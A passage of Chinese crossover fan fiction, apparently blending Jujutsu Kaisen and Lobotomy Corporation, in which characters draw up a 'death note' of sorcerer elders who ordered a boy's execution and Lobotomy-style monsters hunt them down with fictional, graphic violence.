死刑!绝对要死刑!只要他筱田秀明活着一天,他就别想踏入京都高专的大门半步!
正在羞愧于自己不仅没拦住悟君,甚至后来还和他一起动手拆家的禅院直哉被筱田突然嚎出来的一嗓子吓了一跳。
不如说,一行三人都将视线聚集在筱田的脸上。
“我们这里还有这么大岁数的文职?!”禅院直哉甚至顾不上羞愧了,整个人被这个标准文职打扮的老头惊了一下。
听了金发少年脱口而出的话语,五条悟的表情很奇怪。
禅院直哉的脑回路是不是出现了一些问题?这不是标准的辅助监督吗?什么文职不文职的?
就在这时,几个穿着打扮与筱田十分接近的年轻人抱着修理工具匆匆走过。
五条悟沉默了,还真别说,这个老头辅助监督,看上去真的和他们像是一伙的。
“直哉少爷!我是筱田家的,禅院分家那个筱田。”
筱田秀明疯狂暗示,可惜他的暗示对象完全没有接受到。
“所以呢?你是筱田家的,然后呢?”禅院直哉莫名其妙,这人来干嘛的?
带着哭丧着脸的司机先生,哦不,随母姓的北条先生走出了电梯的X发现自己面前好多人。
正巧听到直哉问题的他,回道:“这位筱田先生是来……是来……”
他是来干嘛的?
问他话的时候,这个人只会说些让他谢罪,他一定会后悔之类的无用之言。
后来为他治疗的憎恶女王都要生气了,为了不徒生事端,X把这个说话还说不到点子上的老头给带下来了。
他们会有足够的时间来看看,他到底是来干嘛的。
“我们是来邀请你……您入学的。”同样被绑着的北条弱弱开口。
因为筱田实在过于吸引火力,他一直处于没什么人理的状态,但是这个被坑了可怜年轻人还是觉得得坦白。
他有自家外祖父兜底,任务失败了,就算是最差结果,自己也能在总监部的追责保住一条命。
但是他要是不说,再任由事态发展下去,就算是再来十个外祖父,他也没有自己可以安全离开这里的把握。
“入学?”有着一双金色眼睛的少年看向北条。
北条在那片金色中里面看见了满脸冷汗的自己,这越发坚定了他的决心,他不要死在这里。
“对……总监部决定要让我们来邀请您来京都高专。”
司机先生斟酌着话语,生怕触怒了这个比自己还要小的少年。
“邀请我去高专……?”
出乎北条的意料,黑发少年完全没有任何愤怒的情绪,他有的只是全然的疑惑。
半晌,少年开口:“你说的那个高专,它是教什么的?”
“就是培养咒术师的学校啊?”北条疑似拿不准少年的意思。
“可是我不了解咒术师,大概率是做不好老师的。”少年得出结论。
“老师?不不不,我们是来邀请您去就读的,是去当学生。”
卡莉要被这两个人鸡同鸭讲的方式给急死了。
“他!”卡莉指向满头问号的X,“他早就毕业了,现在在大学教书。”
“他!”卡莉指了指满脸不可置信的北条,“要让你回去上高中。”
北条被卡莉的话弄的当场脑子宕机,他是刚被外祖父接回去不久,不太清楚咒术界的规矩。
但是他懂普通人的规矩啊!毫无疑问,这个要被咒术界判处死刑的人是个绝对的天才。
可恶,这群暴殄天物的死老头!
按部就班,一年
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级一年级读上来的北条愤怒了,这群说要判死刑的老头都在想什么啊!
“安吉罗斯君!不,安吉罗斯先生!”北条突然一脸严肃,站在原地不动了。
正在困惑于自己为什么被高中邀请了的X已经习惯了这种炙热的视线,只不过,这还是第一次在自己的员工与学生之外感受到。
北条见黑发少年看向自己,大声道:“请您快点离开日本吧!他们……咒术总监部要杀你!”
话音未落,原本有些杂乱的日常声音全部消失不见,无论是叮叮咚咚维护设备都文职,亦或者一般路过的员工,都停了下来。
被数道目光凝视的北条冷汗刷的一下就下来了,但是他不能看着这些人去残害一个天才!
“哦?”
被威胁的主体还没发表意见,刚刚的红发女性倒是先挑起了眉。
“你说,有人要杀他?”
气氛凝滞到了极点,北条甚至觉得自己无法呼吸,他缓缓的点了点头:“对。”
“我外祖父是他们的人,所以我知道很多。”三观正直的年轻人说道。
“你姓什么?”卡莉问。
“我姓北条。”
“很好。”
*
“筱田失联了。”
依旧是那个昏暗的屋子,依旧是数个立于阴暗处,让人辨别不出背后之人的帷幔,依旧是上次的会议主持人。
唯一与上次不同的是,这次参与会议的「御三家」只剩下了加茂家自己,另外的两个家族却缺席了会议。
这时,有另外一道声音打断了主持会议的那个人。
“筱田不重要,我家的小辈也消失了。”
开口的这位老者是司机先生的外祖父,此刻他周围的气氛差到极致。
与另外那些或通过现代科技手段,或通过传统咒术方式来开会的同僚不同,他只有那一个继承人,那个被他叫回来镀金的青年什么都不知道,要不然筱田绝对不会是这次行动的主导。
区区禅院分家怎么能顶替他外孙的位置。
可是……就这样十拿九稳的任务,筱田那个废物却搞砸了,还牵连到了他的外孙。
像是听出了老者的不满,会议主持者不紧不慢:“那按你的意思,北条家的,你要做什么?”
“哼,总监部真是越来越指望不上了,”老者黑着脸,拄着拐杖,绕出了帷幔的遮蔽范围,“我会自己去找那个小子,至于你们,你们继续开这个可笑的会议吧。”
说着,这个佝偻着的老人步履平稳的离开了这个“会议室”。
屋内突然陷入一片寂静,突兀地,有什么人轻笑了一声,随后接二连三的低笑声回荡在这间占地面积极大的房间内。
不知是谁用带着轻蔑的语气轻嗤道:“北条那个蠢货,只有他才会真的以为那是个好差事。”
“咳咳,”又是一个上了年纪的人咳嗽了两声,“这不是一件好事吗?断绝了传承的北条家已经完全派不上用场了,这也是这位老朋友可以为我们做的最后一件事了。”
21.死亡名单
听到北条惊天发言的禅院直哉整个人都不好了。
不过在场的人,注意力全放在了北条身上,除了那个禅院家忠实的仆人。
可是,上了年纪的辅助监督完全没有为自己搏到自家少爷的视线。
沐浴在辅助监督殷切的目光中,金发少年快步走到了出卖总监部的“叛徒”身边。
这时的禅院直哉表现的格外冷静,冷静的不像是他这个年龄段的孩子。
完全不知情的孩子看着这个自称自己出身北条家,并宣扬总监部要杀了主管的年轻人。
“禅院家知情吗?”
如果禅院家知情……那他大概率就是被父亲放弃了,即便是千娇百宠着长大,禅院直哉也知道自己在父亲心中的份量。
只是,他的这点份量也许与禅院家的前途比起来,不值一提。
禅院直哉的第一反应就是,有人用了什么让禅院直毘人无法拒绝的利益,促使他通过了这个荒缪的提议。
回应他的是北条脸上呆滞中透着疑惑的神情。
由于禅院直哉长期停留在这里,这个年轻人没有见过御三家中鼎鼎大名的禅院家小少爷,他被这个问题问懵了。
下意识地,他看向了这次“任务”的主导者——筱田秀明。
可是回应北条的是辅助监督同款呆滞的面容。
刚刚还放狠话的辅助监督颤抖着声音:“直哉少爷……您说,禅院家知情吗?”
并不愚笨的孩子发现了盲区,金发少年拧着眉,看向了一直在卑微奉承的辅助监督。
“怎么?自称出自筱田家的你,在没有确认过我父亲的意思之前,就顺着总监部,来到我禅院直哉面前大放厥词吗?!”
孩子的身形并不高大,可是对于把血脉尊卑刻在骨子里的筱田秀明来说,他几乎要被这番话语质问的喘不过气来。
他的声音依旧颤抖:“属下……这次任务是经由加茂家长老发放的……基于我们两家一贯的关系……属下以为这也是家主的意思。”
他艰难的说出了这些解释之言,脸色白的几乎要昏死过去。
筱田秀明知道,他完了,彻彻底底的完了,就算能活着出去,自己最好的下场就是被驱逐出筱田家。
而X对这边发生的咒术界内部纠葛毫无兴趣,他正在试图拦下某位抄起“拟态”就要冲出去的红发大姐头。
嗯,还有准备一起出去,不知道是打算为这位摇旗呐喊,亦或者是自己也要跟团的职员们。
对,职员,不仅仅是员工,就连原本抱着各类工具以及资料的,西装革履,穿着统一制服的文职们也拿出了自己的小手枪。
甚至在这条走廊之外的职员也有着朝这里聚集的趋势,看上去只要X一声令下,这些职员就会冲去把那个“总监部”的天灵盖掀开。
黑发少年甚至看见了原本该去喂鸟的员工挤在人群里,将可爱的白色小鸟高高举起。
“哇!这里居然还有专业的棒球选手?!”
准备看总监部笑话的五条悟看着那只“棒球小鸟”忍不住感叹出声。
“不,悟君,那是□□啊。”
见识过「惩戒鸟」可爱外表下隐藏着的真实的禅院直哉面无表情。
他已经确认过了,这件事,他们禅院家并没有掺和进去,至少他父亲没有。
至于筱田秀明那个蠢货则是完全被功勋冲昏了头脑,才干出这种蠢事。
别的咒术师不知道,他还不知道吗?
他!禅院直哉可以说是所有咒术师里最了解这个看起来“人畜无害”的黑发少年代表着什么的人了。
主管,X,亦或者是被命名为未知的,处于居民登记管理部门上的名字,通通指向人。
那个明明拥有毁灭一切的力量,却依旧克制,完全像一个普通人一样生活着的少年。
单说,那些有着远超特级咒灵实力,却被控制在「安吉罗斯」家范围内的那些异想体吧!
他们完全有能力挣脱出去,要不是这里有主管,哪里轮得到总监部在这里跳脸挑衅?!
该死!总监部他们完全不知道他们招惹了什么?!
就算是把御三家绑到一起,再杂七杂八的把平民术士与那些总监部的老家伙都算上,还不够主管的“好狗狗”吃的呢!
金发少年正思考着,脸上的表情越来越差,给一边的五条悟看得心情都要不好了。
还没等这位六眼神子发表自己的观点,就见苦大仇深的禅院直哉像是明悟了一般,猛地用左手锤了一下右手手心。
仿佛有一个大大的感叹号正从他的头顶缓缓浮现。
对啊!他为什么要纠结于总监部呢?
按照主管的性格,他顶多会按照名单去制裁那些人,不参与的人他不会去可以针对。
正好那些人的心明显野了,这场会议中,御三家里,禅院与五条都被排除在外……是时候,换一批人了。
“悟君,你想不想……”
金发少年示意比他高了一大截的白发人低头,小声地在特别配合的五条悟耳边小声说了些什么了。
半晌,银发少年露出了宇宙猫猫头的表情:
“没想到啊,直哉酱,”高个子的少年发出了JK的声音,无视了禅院直哉像是吃了蟑螂的表情,五条悟缓缓露出了一个微笑,“但是……老子觉得可以。”
两个大少爷在奇怪的地方一拍即合。
五条悟拉住了一个不明所以,单纯过来看看发生了什么事情的文职。
“请给我们一个笔记本。”
文职虽然不知道发生了什么事,但是还是给他们从自己抱着的那一叠文件中抽出来一个空白的笔记本。
“谢了。”五条悟的脸上露出了不怀好意的笑。
“来吧,直哉酱,准备好写死亡笔记了吗?”
*
北条雄一郎还没来得及发难,可怜的老头刚刚抵达他外孙失踪的地方,就被惊住了。
他预想中大概率已经与他天人两隔的外孙此时正在和五条悟与禅院直哉凑在一起,正在手舞足蹈的说些什么。
他们围着的石头桌子上放着一个黑色的笔记本。
那是五条悟一时兴起涂黑的。
「既然要复刻,就应该搞大全套啊!」
玩心大起的五条同学用自己过目不
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忘的聪明脑袋瓜复刻了一下没有死神降临,但是「死神」即将上门的笔记本。
“我看看……再加一个小原家。”金发少年掰着手指头挨个回忆着。
“小原……记好了。”自觉接受了记录员身份的北条小哥正在奋笔疾书。
“诶,外面那个老头是谁?”
无所事事都五条悟看到了眼睛几乎要从眼眶里瞪出来的北条雄一郎,拄着下巴阿巴阿巴的说。
北条下意识的回头看去,就看到自家外祖父正满脸复杂的看着自己。
“光希……你没事啊?”
北条光希面色复杂,他知道外祖父是在关心自己,也许里面还夹杂着些许庆幸。
但是外公……你这个话说的真的很像是你在遗憾着我完好无损的坐在这里啊?!
完全不知道自家臭小子在怎么编排自己的北条雄一郎步履匆匆,他要检查自家孩子是不是真的完好无损。
只是他没想到,就在他即将翻墙进来的时候,他的外孙发出了被捏住喉咙的鸭子般的声音。
老者被吓了一跳,下意识停住了。
“你别从那里进来!”见外祖父停下动作,北条光希这才松了一口气。
就在北条雄一郎的下方,一朵随风摇曳的小白花正隐匿于开满白色小花的花坛之中。
唯一的区别就是,祂的小白花要比「同类」更亮上一些。
完全不知道自己差点被嚼嚼嚼的北条雄一郎被外孙从大门领了进来。
“你们为什么都在这里?”
即便他是长辈,可是已经没落的北条已经完全不能在他们面前摆谱了,对于那两位天之骄子来说,自己恐怕与路边的糟老头没什么两样吧,老人颇有些苦涩的想。
“正好,你帮老子看看,还有没有剩下的。”
五条悟毫不客气的将黑色笔记本塞进了北条雄一郎的手里。
“看看吧,那些开会说好判处主……安吉罗斯先生死刑的人是不是都在上面了?”禅院直哉语气冷漠。
“你们要干什么?”并不愚蠢的北条雄一郎嗅到了不一般的气息。
“是那个人授意你们的吗?”
……
阿嚏!
黑发少年突然打了个喷嚏,他顿时被几道视线牢牢锁定。
“是诅咒吗?”严肃的棕发女性皱起眉头,下意识在自己随身携带的笔记上记录起来。
“是不是您今天穿的过于单薄了呢?”嗓音轻柔的棕发姑娘有些担忧的看过来。
“米歇尔说的没错,您应该注意一下着装。”紫发的男性微微皱眉,视线落在少年少扣了一颗扣子的领口。
“有没有一种可能,”绿色长发的男性站在外围,看着七嘴八舌的同事,提出了自己的看法,“是有人在说他的坏话?”
此话一出,顿时几人的目光一同转向乔凡尼。
也许是酒喝多了,乔凡尼不受控制的打了一个酒嗝,这让他的话更像是喝醉了说出来的醉话。
三人仅仅是看了他一眼,便转过头去,继续原来的话题。
绿发的男性挠挠自己的头,怎么说实话,还没人搭理他呢?
22.上门拜访
完全不知道自己被「阎王点卯」的总监部还在等待着「窗」反馈回来的信息。
“也不知道北条家会沦落到什么地步。”
依旧是没有真身前往,幕后之人在自家宅邸与友人远程交谈着,突然,他的耳朵不由自主的动了动。
他身处宅邸内最静谧的和室内,耳边按理来说应该只能听到轻微的溪水声才对,可是他听到了有些怪异的声音。
像是有什么东西在振动翅膀,这声音像极了蝇头……不,这绝不是蝇头那样弱小的存在可以发出的声音!
即便是长时间养尊处优,年轻时锻炼出来的直觉让他低下头。
就在那一瞬间,一张带有利齿的,巨大的嘴咬破了障子门上洁白的和纸,一颗属于昆虫的头颅顺着被咬开的孔洞探了进来。
位于身体两侧的复眼仅在一瞬间便锁定了身穿深灰色和服的老者。
也是因为孔洞的缘故,被按照名单从后向前找上门的小原圭,这才听到了远处传来的惨叫声。
小原圭是咒灵使,并不是咒灵操术那样无上限的高级术式,他一次仅仅可以驱使一只咒灵。
这处宅邸其实算是他的咒灵储备仓库,也是因为这个原因,这里除了他的接班人以外,再无其他人居住。
可是他没想到,就因为这个原因,他才被「黄蜂」找上门。
他的咒灵被杀死了,死去的咒灵中诞生出了新的「黄蜂」。
而他的继承人正在苦苦支撑,「黄蜂」并不算是很难对付的类型,可是数量实在是太多了,很快,一只新的「黄蜂」便诞生了。
“喂!小原?你那边怎么了?为什么那么吵?!喂!”
好友的声音传来,可是小原却没有心思去回答他了。
手里拿着一杆长枪的青年居高临下的看着这个被黄蜂包围,却并未受到攻击的老者。
像是确认一般,他问:“小原圭?”
随着他的话语,原本还算松散的黄蜂顿时收紧了阵型,成片的嗡嗡声,令小原圭几乎听不清青年的话。
“你要干什么?幽呢?”
“幽?”青年若有所思,视线却突然转向了蜂群之中,“劳驾,你们中的哪一位是幽?”
老者的瞳孔猛然一缩,在混浊双眼的映衬下,让人怀疑他会不会当场晕过去。
可是小原圭挺住了,直到「幽」振动着翅膀,下肢抱着“自己”的头颅缓缓飞出蜂群……
“你这个混蛋!疯子!总监部不会放过你的?!”
看着倾注了自己半生心血的“徒弟”,老者双目赤红,当即要召唤自己的咒灵。
失败了,他原本塞满整栋宅邸的咒灵像是人间蒸发了一样,没有任何一只回应他的呼唤。
莱茵哈特像是看出了他的心思,望着脸色大变的老者:“别白费力气了。”
“你……你!”
“哎呀,你可不能晕。”眼见老头一口气没喘上来,即将倒地,莱茵哈特很没有尊老爱幼精神的拿枪托给了他一下。
也许是物理攻击起作用了,老头吐出来了一颗粘着血的牙,看着居高临下俯视他的青年,喉咙沙哑:
“老夫与你无冤无仇,你为什么……”
“无冤无仇?”莱茵哈特邹起眉头,打断了老头的喋喋不休。
知道今天求生无望的老者破罐子破摔道:“难不成你是我弟弟的孩子?!你来替你父亲报仇吗?那个废物……”
几乎被自说自话的老头气笑了的莱茵哈特眼神冷了下去,虽然原先他的目光也不含一丝善意。
“您……”孩子很有礼貌,礼貌得让小原不寒而栗,这就是一个纯粹的疯子。
“您是不是得了阿尔兹海默症了呢?毕竟,我们的仇可是刚结下不久啊。”
“怎么可能!”老者惊叫出声。
他可是最近一直闭门不出,怎么可能与人结仇!
等等!最近……
老者下坠的脸皮突然扯出一个扭曲的弧度,他问:“你是安吉罗斯找的帮手……?”
他观察着莱茵哈特的表情,了然,自己猜的没错,就是那个该死的小鬼!
既然是这样,那就没什么可忌惮的了。
莱茵哈特惊讶地发现原本惶恐与愤怒交加的老头突然镇定下来,脸上露出了他似曾相识的神情。
那个神情莱茵哈特可以说是熟到不行,禅院直哉,筱田秀明,乃至面前的老头,他们在第一次见他的时候都是这个表情。
反正这个老头也跑不掉了,莱茵哈特很具有探究精神的提问:“你们这个表情是经过统一培训吗?”
怎么做到嘴角不屑的弧度都一模一样的?要不是这里不是公司,莱茵哈特都要以为是什么新出现的工具行异想体的影响了。
“呵,不要在这里插科打诨,你回去告诉安吉罗斯,老夫会容忍他的冒犯之举,只要他老老实实的来到总监部谢罪,老夫也不是不能原谅他。”
当然,这是假话。
要不是小原圭打不过这个拿着枪的毛头小子,他怎么可能在这里与他废话,至于原谅……那更是无稽之谈。
只要安吉罗斯胆敢进入到总监部,他们这些人就会将那个不知天高地厚的小子拿下。
“啊,我应该感谢您的好意吗?”
小原圭发现莱茵哈特没有任何让「黄蜂」撤退的举动,那些狰狞的蜂型咒灵仍旧在向他逼近。
“混蛋!你要干什么?你难道真的想要杀了我吗?!”
“是什么给了您我不会杀您的错觉?”弱气的青年歪头看着跌坐在地的老人。
“啊,难不成您是觉得我太弱小了吗?的却,与前辈她们相比,我还是过于弱小了,只不过……收拾你绰绰有余了。”
“啊……已经死掉了啊,可恶,这不是完全像一个说白话的傻瓜了吗?”
弱气的青年闷闷不乐,而回应他的只有全新的,破“土”而生的「黄蜂」。
「黄蜂」们彼此交流了一番,由最强壮的两只提着仅有的两颗「战利品」飞向了高空。
“喂!喂!小原!你怎么样?”
通讯器在地上无力的呼喊着,在一片狼藉中,还未离开的莱茵哈特捡起了聒噪的源头。<
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p>“您好,请问您的名字是?”
他边问,边接过了战战兢兢跟在他身边的Delta先生手中的笔记本。
打算比对着回答,接着去「上门拜访」。
“……”对面像是意识到了什么,一声不发,啪的一声挂断了电话。
「莱茵哈特,你下面的任务地点是……」安吉拉的声音自耳机里响起,报出的坐标正是刚刚与小原圭通话之人的位置。
通讯器对面,听到了惨叫的老者正打算上报总监部,却发现自己的通讯设备再也搜索不到一丝信号。
无论换了多少个通讯设备都是一样,他被现代科技抛弃了。
无奈之下,他使用了传统的老方法,只是通讯的对象无人应答。
既然这个不通,那就换一个,老者费力的更改了通讯对象,可是依旧无人应答。
突然,一个疯狂且荒谬的念头浮现在他的脑子里。
不会他们,也遭遇了与小原一样的事情吧?
哈哈,怎么可能……
他这样想着,可是身体却很诚实的开始想着隐蔽处的密道而去。
他才不会想那些蠢货一样在家里等死,等他到了总监部……
可是他不会有机会去总监部了。
在只有他知道的密道口,一个拿着枪的身影静静地站在那里。
……
切原赤也小朋友终于从魔音贯耳的观影室里走出来,现在他觉得自己强的可怕。
别说区区初中英语考试了,他甚至学会了美式口音!
可怕的立海大王牌选手志得意满的推开了门,可是没有!别说安诺恩前辈了,就连一个人都没有!
难不成他又穿越了?
孩子想着,试图找到一条出路,可是,这宛如蛛网般的地下通道盘根错节,别说他了,就连认路高手都不能保证他一定能走出去。
总之,他,切原赤也,又双叒叕迷路了。
更绝望的是,安诺恩前辈没有像之前一样拯救自己。
孩子目光所及之处只有走廊,带着门的走廊,不带门的走廊,还有巨大的员工休息室。
到了最后,头上顶着绝望的切原赤也颓废的坐在员工休息室的沙发上,双眼无神。
完蛋了,他现在已经不知道走到哪里了,别说出去了,他连走回观影室的路都找不到了。
等员工们零零散散的收工回家,才在福利部的休息室里找到了这个可怜小孩。
孩子已经倚在一边睡着了,或带着ego武器,或直接把异想体本体带出去的了员工们顿时放轻了自己的动作。
毕竟他们基本都像是从血里泡出来的,穿着「笑靥」套的员工都要吃成了一个胖子,原本消瘦的他,此刻圆了不止一圈,当然,不是他圆,是衣服圆。
像是嗅到了什么气息,切原赤也紧闭的双眼微微颤动,看样子马上就要醒了。
胖胖的「笑靥」三步并两步冲了上来,一个手刀就让他重新陷入了“深度睡眠”。
当然,这绝对不是打晕,重申一遍,他只是在帮助睡眠质量不好的孩子而已。
23.加茂家
本该寂静无声的大宅深处突兀地有些吵闹。
被勒令呆在自己房间的,小小的孩子一时不知道自己该不该去查看情况。
想到了长老那足以将他吃掉的可怖表情,妹妹头的孩子不由得缩了缩肩膀,要不还是算了吧。
毕竟孩子在这个时间本来就是应该去联系术式的运用的,长老的命令在某种情况下也是给了孩子一些喘息的时刻。
「宪纪,我是妈妈……给妈妈打开门啊。」
一道模糊不堪的影子在光线的照射下投在洁白的障子门上。
加茂宪纪刚想惊喜起身,将已经离开自己的妈妈迎进来。
可是,当他走到距离障子门三步远的时候,孩子停下了。
理智告诉他,他的母亲不会再出现在他的面前了。
思念母亲的情感却让他赶快去开门。
“妈妈?”
「怎么了?宪纪,你为什么还不给妈妈开门?」
孩子原本因激动隐隐浮现出的淡红此刻化为极致的惨白,这绝不是他的母亲!
他的妈妈不会用这种语气和他说话,而且……仔细听来,这种声音真的是人类发出的吗?
更像是什么蠕动的物体靠着摩擦来模拟人类的声音一样……
与加茂宪纪有着相同遭遇的加茂族人不在少数,他们大多不如这个性格谨慎的孩子,以为自己受到了思念之人的呼唤,高高兴兴的开了门。
门外迎接他们的是用尽人类语言也无法形容出的存在,无数难以言喻的事物构成了那个东西。
当他们直面祂的时候,仅仅是一瞬间,人类就失去了任何反抗的能力,不如说,他们以极快的速度加入到了「不可名状」的队伍中。
大量的,次一级的不可名状便以极快的速度「繁殖」起来。
这就是加茂家主从总监部返回到自己家中所看到的全部场景。
他不受控制的呕吐起来,充血的眼球四处乱转,两只手死死的捂住自己的头,原本高大的身影蜷缩成一团。
他恐慌了。
他的身边站着脸色灰白的加茂长老,他面色空白的看着眼前的一切,一时间脑子里空空如也。
“这是……?”
老者喃喃出声,头痛欲裂。
“既然做出挑衅行为,那你应该也有了遭受报复的准备吧?”
是十分熟悉的声音,加茂长老神情木讷的转过头去,看到了一张熟悉的脸。
“禅院直哉,这一切是你干的吗?”
就算是禅院家的少爷,也不能做出这种大逆不道的行为。
长老的脑子一片混乱,他完全无法思考禅院直哉是如何做出这一切的,这已经不是任何已知的咒灵了,这……这……这更像是神!!
“怎么可能,不过你们加茂可真是大胆,瞒着我们就做出了那样的决定。”
“我们……?”
“还有老子,没想到吧!”
原本蹲在那里戳弄着什么都五条悟突然站了起来,很长一条的杵在那里,成功吸引了加茂长老的注意力。
“五条悟!你们!你们!原来是这样啊,哈哈,真是没想到你们居然联手了。”
老者突然摆出了看不懂事小辈的神情:“你们这样做,就不怕总监部向五条家和禅院家追责吗?!”
五条悟却扬起了大大的笑容,伸出来右手,状似无意的摆了摆。
“老子完全不担心哦,毕竟……今天过后,他们都会去陪你嘛!”
“你怎么敢的?!”
这时,温热的血液溅到了他的脸上,老者的瞳孔猛然收缩,一脸惊骇的向着血液飞溅的方位看去。
那里瘫倒着一具无头的尸体,尸体上穿着绘有加茂家家徽的黑色和服,这不是加茂家主还是谁?
原本只会扭断的脖子,因为陷入恐慌之人完全控制不住力道,他的头被自己硬生生的拔了下来。
不仅仅是加茂长老,就连禅院直哉都被吓了一跳,他还是第一见到徒手拔脑袋的恐慌选手。
“家主!!”
他的头颅高高飞起,正巧落在了「CENSORED」群中,很快便被「CENSORED」了,因为材料有限,最后只多出了一只小小的「CENSORED」。
呆愣望着「CENSORED」的加茂长老完全没注意身后,拿着坚硬无比法杖的禅院直哉趁此机会为他施展了物理版「昏睡咒」。
“这就是主谋了吧。”五条悟戳了戳瘫软在地的加茂长老。
“为什么不杀了他?”不谙世事的大少爷诚心诚意的疑惑了。
“悟君,难不成你是那种完全不想知道前因后果的类型?”
“啊,我说中了?”禅院直哉看着五条悟的表情,觉得自己再说可能要和六眼进行一场酣畅淋漓的1v1。
感觉自己在ego加持下大概率也打不过五条的金发少年选择闭麦。
“走吧,我们去找主……安诺恩大人,告诉他人逮住了。”
另一边,正在清点「CENSORED」数量的X觉得有点不行。
好多人啊,怎么这么多小数删。
要不干脆把祂们捏吧捏吧塞进「CENSORED」里?
少年真心实意的苦恼着,他忽略着手上诡异的触感,捞起一团放到了这一切混乱的源头——真正的「CENSORED」上。
滋溜一声响,小小的一团就从大团上滑了下来,实验失败,数据删除拒绝吃掉自己的“孩子”。
也是,要是真的全部吃掉的话,数据删除就得临时改姓了,毕竟吃掉的全是加茂家的人。
被扛着带过去的加茂长老醒过来就看到了处于不可名状中心的黑发少年。
他的金眼睛一片空茫,像是完全意识不到他究竟在什么之中一样,扭曲变形的存在被他像是揉捏橡皮泥一样揪来揪去。
那个几乎将他灭族的怪物现在乖顺的宛如一只小狗,不见一丝攻击性。
“啊,直哉,你们来了。”少年见禅院直哉举着一个老头,便知道她们已经抓到人了。
他缩回来原本陷在「CENSORED」里的手,刚刚祂试图和自己玩耍,只
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是手感实在是过于奇怪了。
「CENSORED」一败涂地,在最可爱小狗这条赛道上,「一无所有」一骑绝尘。
黏糊糊,手感怪异的数据删除徒劳的伸出一根小小的「手」试图挽留一下,挽留失败。
金眼睛的少年此时只想向加茂长老问清楚,他干什么了就要来找自己麻烦。
他扪心自问自己是良民中的良民,没有做过什么坏事……没在家外面做过坏事!
嗯,他在外面一直是一个普通人!
可是!就是这样一群人!非得来找自己这个普通人麻烦。
他做这一切也是为了自己与自己员工们日后的安稳生活。
“哈哈,没想到老夫居然看走了眼,真是没想到,栽在了你这个小鬼的手里。”
加茂长老双目赤红,族人的惨叫似乎仍旧萦绕在他的耳边,溅上家主血液的地方还在隐隐发烫。
呵,愚蠢的小子,就这样毫无防备的向他走过来了吗?那就不要怪他了!
他其实也有「赤血操术」,只不过退居幕后好多年,已经被人遗忘了。
一道血流以极快的速度冲向了黑发少年,可是在距离少年极近的地方停住了,那束血流化作一小团血液静静的漂浮于少年的面前。
“无下限?!”加茂长老不受控制的惊呼出声,可下一刻,他就否认道,“不可能!你只是一个与五条家毫无关系的普通人!”
五条悟也惊讶的略微瞪大了他漂亮的眼睛,当然是在加大号小圆眼镜的后面。
这里遍地都是「CENSORED」,他可不想挑战自己大脑的极限,按这种密度,他的反转术式可能还没来得及运转,他就要去见前任「六眼」了。
他刻意不让自己的「眼睛」接受到多余的内容,他只能隐约看到有什么特殊的东西围绕在黑发少年的身边,像一个蛋壳一样……
“啊!你抄袭!”这是什么邪道无下限啊!!
这个东西就连之前把他无线显开了的那位女性都无法用那种手段打开吧!
毕竟,这不是完全一体的防御,而是活着的,是就连他都要几乎看不见的异想体。
“五条君没见过这孩子吧,”X像是做起了科普,“你要是在地下室见到祂一定要离远一点,祂会将人撕碎的。”
“很有艺术的那种,就是听文职说,事后清理的时候有些麻烦。”
像是知道X正在介绍自己,那个肉眼捕捉不到的存在微微晃了晃自己,而后便归于平静。
禅院直哉知道那是什么,但是他从来没想过这个鬼东西居然可以这样用,他之前不小心撞到了里面,被分成了八块!
这个鬼东西居然还能用来当盾牌吗?!不愧是主管,居然开发了这个可恶东西的真实用途!
“那么,就来说说你为什么要来针对我们吧。”
胡闹到此为止,金色的眼睛转向了一击不中后,颓败瘫倒在地的加茂长老,语气一如既往的平静,不见一丝愤怒。
“呵,老夫只是为了咒术界好而已,与你这样的异数无话可说。”
24.如月
脑叶公司最不怕的就是嘴硬的人,对于这个话题某一位前任调律者有话要说。
而加茂长老并没有受到那样的“优待”,他不配。
为了让废物利用效率最大化,这个嘴硬的老头被带了回去,至于这遍地的小「CENSORED」,他们选择就地镇压。
加茂宪纪在之前的混乱中没有开门,甚至更深的躲进了房间的柜子中,而现在,外面的混乱已然平息。
要出去看看吗?孩子拿不定主意。
可是这个时候,他听到了一个声音,过于奇怪的声音。
一开始只是很平常的脚步声,虽然穿着鞋子踩在木质地板上很奇怪,但是比起之前那个冒充他母亲的家伙,这已经是最不值得一提的异常了。
可是随着脚步声的接近,孩子听到了夹杂其中的奇怪声音。
那是摩擦声,像是某种干燥又柔软的东西。
孩子一时间想不到这是怎么发出来的,可是那道声音正在逐步向着他逼近。
终于,在脚步声经过他房间时,那个发出声音的存在停下了。
孩子下意识的像之前那样把自己的眼睛闭上,耳朵捂住,紧紧的抿上了嘴,将自己缩成了小小的一团。
可是就算是闭着眼睛,光线也会穿透那一层薄薄的皮肉,让人感知到光的存在。
还是没躲过吗……
因为家庭成员变动,导致变动过于早熟的孩子知道,自己已经被发现了。
有一道身影,为他挡去了一部分的光线,此刻那个人正在看着他。
也许是生死之间,加茂宪纪已经无空去恐惧了,他现在脑子里有的只是对那道奇怪声音的探究。
说来奇怪,刚刚那种奇怪的声音这时却停下了。
孩子睁开了因幼年时期略显圆润的眼睛,交织重叠的雪白蝴蝶翅膀映入眼帘。
像是知道孩子在看着祂,翅膀们拍打了几下,顿时,刚刚的声音再次响了起来。
“好美……”
也许是被刺鼻的血腥味令孩子的精神状态过于“美好”,他竟然没有展现出被父亲与长老所要求的,一定要在时时刻刻体现出加茂家继承人的气势。
他现在只是一个看到了惊奇事物的孩子而已。
而美丽的蝴蝶咒灵只是略微歪了歪自己由蝴蝶翅膀构成的头部,好像有些开心……?
咒灵也会开心吗?
可是没有给他们二“人”留下过多的深情对望时间,很快,更多的脚步声响了起来。
“你看没看到亡蝶葬仪去哪了?”年轻的女声问。
“祂去那边……”正在将迷你版「CENSORED」挨个像砸地鼠一样敲死的米凯拉指向了大漂亮蝴蝶离开的方向,结果那里什么都没有,“诶,异想体呢?!刚刚还在那啊!”
事实证明,工作的时候不要分心,更不要随便接话,就在他分神的短暂瞬间,他手底下那团还剩下一口气的前加茂某某人,现新出炉的「CENSORED」就用那些不可名状的物质狠狠地粘住了这个可怜的员工。
不致死,但是着实不是什么美好的体验,不如说,糟糕透了。
米凯拉命苦的把自己的嘴巴闭上,像抠泥巴一样,试图将自己从这滩鬼东西里扒出来。
最后还是他的同事搭了一把手,才将这个可怜人救了出来。
至于那个不知名加茂小数删,则是被米凯拉狠狠地砸扁了。
而刚刚出声询问的艾娃也终于找到了一言不发,因为完全没有人能被祂塞进棺材而闷头就走的亡蝶葬仪。
“咦?这里居然还有一个孩子!”
头上遍布澄黄眼睛的女性看着站在一身送葬用黑礼服的蝴蝶背后,正躲在衣服中的孩子,有些吃惊。
